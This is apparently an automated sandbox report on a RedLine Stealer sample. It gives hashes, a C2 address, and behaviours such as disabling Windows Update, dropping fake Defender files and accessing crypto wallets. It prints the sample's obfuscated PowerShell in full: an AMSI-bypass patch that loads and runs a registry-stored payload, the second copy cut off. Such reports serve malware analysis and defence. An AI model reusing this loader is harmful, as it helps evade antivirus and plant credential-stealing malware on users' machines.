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Analysis
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max time kernel
47s -
max time network
89s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 07:08
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20220901-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3344-174-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1016 created 2756 1016 SmartDefRun.exe 70 PID 1016 created 2756 1016 SmartDefRun.exe 70 PID 1016 created 2756 1016 SmartDefRun.exe 70 PID 1016 created 2756 1016 SmartDefRun.exe 70 PID 3148 created 588 3148 powershell.EXE 6 -
Blocklisted process makes network request 1 IoCs
flow pid Process 18 1964 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 4656 C4Loader.exe 432 new2.exe 3452 SysApp.exe 1016 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4808 set thread context of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 432 set thread context of 3344 432 new2.exe 99 PID 1016 set thread context of 1356 1016 SmartDefRun.exe 123 PID 3148 set thread context of 3940 3148 powershell.EXE 128 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4712 sc.exe 4072 sc.exe 1972 sc.exe 2968 sc.exe 4800 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 552 4808 WerFault.exe 83 2452 432 WerFault.exe 95 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE -
Suspicious behavior: EnumeratesProcesses 35 IoCs
pid Process 1964 powershell.exe 1964 powershell.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3452 SysApp.exe 3344 vbc.exe 1016 SmartDefRun.exe 1016 SmartDefRun.exe 5084 powershell.exe 5084 powershell.exe 1016 SmartDefRun.exe 1016 SmartDefRun.exe 1016 SmartDefRun.exe 1016 SmartDefRun.exe 3828 powershell.exe 3828 powershell.exe 3828 powershell.exe 1016 SmartDefRun.exe 1016 SmartDefRun.exe 3148 powershell.EXE 2484 powershell.EXE 3148 powershell.EXE 2484 powershell.EXE 3148 powershell.EXE 3940 dllhost.exe 3940 dllhost.exe 3940 dllhost.exe 3940 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1964 powershell.exe Token: SeDebugPrivilege 3344 vbc.exe Token: SeDebugPrivilege 5084 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 powershell.exe Token: SeSecurityPrivilege 3828 powershell.exe Token: SeTakeOwnershipPrivilege 3828 powershell.exe Token: SeLoadDriverPrivilege 3828 powershell.exe Token: SeSystemProfilePrivilege 3828 powershell.exe Token: SeSystemtimePrivilege 3828 powershell.exe Token: SeProfSingleProcessPrivilege 3828 powershell.exe Token: SeIncBasePriorityPrivilege 3828 powershell.exe Token: SeCreatePagefilePrivilege 3828 powershell.exe Token: SeBackupPrivilege 3828 powershell.exe Token: SeRestorePrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeSystemEnvironmentPrivilege 3828 powershell.exe Token: SeRemoteShutdownPrivilege 3828 powershell.exe Token: SeUndockPrivilege 3828 powershell.exe Token: SeManageVolumePrivilege 3828 powershell.exe Token: 33 3828 powershell.exe Token: 34 3828 powershell.exe Token: 35 3828 powershell.exe Token: 36 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 powershell.exe Token: SeSecurityPrivilege 3828 powershell.exe Token: SeTakeOwnershipPrivilege 3828 powershell.exe Token: SeLoadDriverPrivilege 3828 powershell.exe Token: SeSystemProfilePrivilege 3828 powershell.exe Token: SeSystemtimePrivilege 3828 powershell.exe Token: SeProfSingleProcessPrivilege 3828 powershell.exe Token: SeIncBasePriorityPrivilege 3828 powershell.exe Token: SeCreatePagefilePrivilege 3828 powershell.exe Token: SeBackupPrivilege 3828 powershell.exe Token: SeRestorePrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeSystemEnvironmentPrivilege 3828 powershell.exe Token: SeRemoteShutdownPrivilege 3828 powershell.exe Token: SeUndockPrivilege 3828 powershell.exe Token: SeManageVolumePrivilege 3828 powershell.exe Token: 33 3828 powershell.exe Token: 34 3828 powershell.exe Token: 35 3828 powershell.exe Token: 36 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 powershell.exe Token: SeSecurityPrivilege 3828 powershell.exe Token: SeTakeOwnershipPrivilege 3828 powershell.exe Token: SeLoadDriverPrivilege 3828 powershell.exe Token: SeSystemProfilePrivilege 3828 powershell.exe Token: SeSystemtimePrivilege 3828 powershell.exe Token: SeProfSingleProcessPrivilege 3828 powershell.exe Token: SeIncBasePriorityPrivilege 3828 powershell.exe Token: SeCreatePagefilePrivilege 3828 powershell.exe Token: SeBackupPrivilege 3828 powershell.exe Token: SeRestorePrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeSystemEnvironmentPrivilege 3828 powershell.exe Token: SeRemoteShutdownPrivilege 3828 powershell.exe Token: SeUndockPrivilege 3828 powershell.exe Token: SeManageVolumePrivilege 3828 powershell.exe Token: 33 3828 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4808 wrote to memory of 4908 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 85 PID 4808 wrote to memory of 4908 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 85 PID 4808 wrote to memory of 4908 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 85 PID 4808 wrote to memory of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 4808 wrote to memory of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 4808 wrote to memory of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 4808 wrote to memory of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 4808 wrote to memory of 2116 4808 77d29818be0d01c38545baa0bd4551c6853c224b.exe 86 PID 2116 wrote to memory of 1964 2116 vbc.exe 89 PID 2116 wrote to memory of 1964 2116 vbc.exe 89 PID 2116 wrote to memory of 1964 2116 vbc.exe 89 PID 1964 wrote to memory of 4656 1964 powershell.exe 94 PID 1964 wrote to memory of 4656 1964 powershell.exe 94 PID 1964 wrote to memory of 4656 1964 powershell.exe 94 PID 1964 wrote to memory of 432 1964 powershell.exe 95 PID 1964 wrote to memory of 432 1964 powershell.exe 95 PID 1964 wrote to memory of 432 1964 powershell.exe 95 PID 1964 wrote to memory of 3452 1964 powershell.exe 97 PID 1964 wrote to memory of 3452 1964 powershell.exe 97 PID 1964 wrote to memory of 3452 1964 powershell.exe 97 PID 1964 wrote to memory of 1016 1964 powershell.exe 98 PID 1964 wrote to memory of 1016 1964 powershell.exe 98 PID 432 wrote to memory of 3344 432 new2.exe 99 PID 432 wrote to memory of 3344 432 new2.exe 99 PID 432 wrote to memory of 3344 432 new2.exe 99 PID 432 wrote to memory of 3344 432 new2.exe 99 PID 432 wrote to memory of 3344 432 new2.exe 99 PID 1268 wrote to memory of 4800 1268 cmd.exe 113 PID 1268 wrote to memory of 4800 1268 cmd.exe 113 PID 1268 wrote to memory of 4712 1268 cmd.exe 114 PID 1268 wrote to memory of 4712 1268 cmd.exe 114 PID 1268 wrote to memory of 4072 1268 cmd.exe 115 PID 1268 wrote to memory of 4072 1268 cmd.exe 115 PID 1268 wrote to memory of 1972 1268 cmd.exe 116 PID 1268 wrote to memory of 1972 1268 cmd.exe 116 PID 1268 wrote to memory of 2968 1268 cmd.exe 117 PID 1268 wrote to memory of 2968 1268 cmd.exe 117 PID 1268 wrote to memory of 100 1268 cmd.exe 118 PID 1268 wrote to memory of 100 1268 cmd.exe 118 PID 1268 wrote to memory of 372 1268 cmd.exe 119 PID 1268 wrote to memory of 372 1268 cmd.exe 119 PID 1268 wrote to memory of 2252 1268 cmd.exe 120 PID 1268 wrote to memory of 2252 1268 cmd.exe 120 PID 1268 wrote to memory of 3784 1268 cmd.exe 121 PID 1268 wrote to memory of 3784 1268 cmd.exe 121 PID 1268 wrote to memory of 2840 1268 cmd.exe 122 PID 1268 wrote to memory of 2840 1268 cmd.exe 122 PID 1016 wrote to memory of 1356 1016 SmartDefRun.exe 123 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3148 wrote to memory of 3940 3148 powershell.EXE 128 PID 3940 wrote to memory of 588 3940 dllhost.exe 6 PID 3940 wrote to memory of 676 3940 dllhost.exe 4 PID 3940 wrote to memory of 952 3940 dllhost.exe 78 PID 3940 wrote to memory of 328 3940 dllhost.exe 8 PID 3940 wrote to memory of 444 3940 dllhost.exe 9 PID 3940 wrote to memory of 752 3940 dllhost.exe 17 PID 3940 wrote to memory of 1032 3940 dllhost.exe 12
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:328
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d52a8d34-891f-44d9-a600-00b1b5c0ecdf}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:SGpRkglhkrhx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uFgcDdmlRKisLC,[Parameter(Position=1)][Type]$kqiUXvDLee)$xYedfoBJqFB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+'t'+'e'+''+[Char](100)+'De'+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'yM'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+'y'+''+'p'+'e',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+'a'+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$xYedfoBJqFB.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'pe'+[Char](99)+''+'i'+'a'+'l'+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uFgcDdmlRKisLC).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+'i'+''+[Char](109)+'e,'+'M'+'a'+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$xYedfoBJqFB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c'+[Char](44)+'H'+[Char](105)+''+'d'+''+'e'+'By'+'S'+'i'+'g'+','+'N'+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+'a'+''+'l'+'',$kqiUXvDLee,$uFgcDdmlRKisLC).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $xYedfoBJqFB.CreateType();}$IcBTFbhXUDaDT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+'.'+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+'r'+'o'+''+'s'+'o'+'f'+'t'+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+'2'+'.'+'U'+''+'n'+'sa'+[Char](102)+''+[Char](101)+''+[Char](73)+''+'c'+''+[Char](66)+''+'T'+''+[Char](70)+''+[Char](98)+''+[Char](104)+''+[Char](88)+''+'U'+''+'D'+''+[Char](97)+''+[Char](68)+''+[Char](84)+'');$qXrdNxupYcsQFy=$IcBTFbhXUDaDT.GetMethod(''+[Char](113)+''+[Char](88)+''+'r'+''+[Char](100)+''+[Char](78)+''+[Char](120)+'u'+[Char](112)+'Y'+'c'+''+'s'+''+[Char](81)+''+[Char](70)+''+[Char](121)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+'ti'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RxolaYgNLkyFmiDtGZi=SGpRkglhkrhx @([String])([IntPtr]);$VTQCNhPfUfRWctDOMooDHD=SGpRkglhkrhx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xoIpSoRDDUf=$IcBTFbhXUDaDT.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'Han'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+'.d'+'l'+''+[Char](108)+'')));$VKlZwcquOYuQDu=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$xoIpSoRDDUf,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$XeLilsNZeNFatuyQh=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$xoIpSoRDDUf,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+'a'+'lProtec'+[Char](116)+'')));$QYdAzAu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VKlZwcquOYuQDu,$RxolaYgNLkyFmiDtGZi).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+'l'+'');$IcSLMKdovNazryaeW=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$QYdAzAu,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Scan'+[Char](66)+''+[Char](117)+''+'f'+'fe'+[Char](114)+'')));$CtqEclnNzL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XeLilsNZeNFatuyQh,$VTQCNhPfUfRWctDOMooDHD).Invoke($IcSLMKdovNazryaeW,[uint32]8,4,[ref]$CtqEclnNzL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$IcSLMKdovNazryaeW,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XeLilsNZeNFatuyQh,$VTQCNhPfUfRWctDOMooDHD).Invoke($IcSLMKdovNazryaeW,[uint32]8,0x20,[ref]$CtqEclnNzL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+'le'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2484
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qmOhnztxVlwG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PjpgkFZgdltgJv,[Parameter(Position=1)][Type]$ZDeeNbtcrx)$LFuAwxksURo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+'o'+'r'+'y'+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'ale'+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$LFuAwxksURo.DefineConstructor('RT'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+',H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PjpgkFZgdltgJv).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+'d'+'');$LFuAwxksURo.DefineMethod(''+[Char](73)+''+[Char](110)+'vok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+[Char](121)